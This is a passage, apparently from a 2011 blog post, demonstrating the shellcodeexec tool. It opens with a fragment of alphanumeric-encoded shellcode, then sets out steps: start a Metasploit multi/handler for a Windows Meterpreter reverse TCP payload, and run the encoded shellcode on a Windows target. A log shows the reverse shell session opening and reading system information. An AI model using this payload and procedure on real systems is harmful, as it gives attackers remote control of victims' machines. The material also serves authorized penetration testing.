4NkEQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6Nk
VlRkNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQ
xVSGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeR
pV0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7
E8NyI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKO
N5LKP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC
1KsVIO6OuZVCEXlISAA

2. Execute the Metasploit multi/handler listener on your machine. For example for a Windows target:

$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E

3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Windows target:

C:\WINDOWS\Temp>shellcodeexec.exe PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlKXNiEPEPC0CPMYIuTqN2E4L
KV2P0NkCbTLLKQBEDNkQbGXTOLwCzEvP1IoTqIPNLGLCQQlERTlEpIQZoVmEQO7KRZPP
RQGNkCbTPLKRbElEQZpNkCpQhLEIPQdPJGqZpPPLKQXR8NkQHEpGqN3M3ElG9LKP4Nk
EQZvP1KOEaO0LlO1ZoTMEQIWVXM0QeKDTCCML8EkQmEtPuIrV8LKQHEtC1KcE6NkVlR
kNkRxELC1ICLKETNkGqN0MYRdQ4VDQKCkCQPYCjCaIoKPV8CoPZLKR2ZKMVCmQxV
SGBC0EPRHCGPsP2QORtCXPLCGEvEWIoZuX8LPGqEPGpQ9ITCdV0CXEyMPPkC0IoKeRpV
0RpPPCpPPG0RpPhIzTOIOKPKOKeLWRJEUPhKpNHMXVaRHVbC0R1ClMYM6PjTPCfV7E8N
yI5PtQqKOIEMUKpT4TLIoPNVhCEXlRHXpOEI2PVIoZuQzGpRJGtV6QGQxC2IIZhQOKON5L
KP6PjCpCXEPVpC0EPPVCZEPQxV8OTCcM5IoN5LSPSPjEPQFCcV7CXC2KiIXQOIoZuC1Ks
VIO6OuZVCEXlISAA

If you head back to the terminal where the multi/handler is running you will happily see:

$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUhread LPORT=4444 LHOST=192.168.136.1 E

[*] Please wait while we load the module tree...

[...]

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]

+ -- --=[ 673 exploits - 354 auxiliary

+ -- --=[ 217 payloads - 27 encoders - 8 nops

=[ svn r12306 updated 7 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp

EXITFUNC => thread

LPORT => 4444

LHOST => 192.168.136.1

[*] Started reverse handler on 192.168.136.1:4444

[*] Starting the payload handler...

[*] Sending stage (749056 bytes) to 192.168.136.129

[*] Meterpreter session 1 opened (192.168.136.1:4444 -> 192.168.136.129:1581) at Thu Apr 14 15:30:15 +0100 2011

meterpreter > sysinfo

System Language : en_US

OS : Windows .NET Server (Build 3790, Service Pack 2).

Computer : W2K3R2

Architecture : x86

Meterpreter : x86/win32

The tool along with compilation files for POSIX and Windows systems can be found on my GitHub at https://github.com/inquisb/shellcodeexec.
Thanks for reading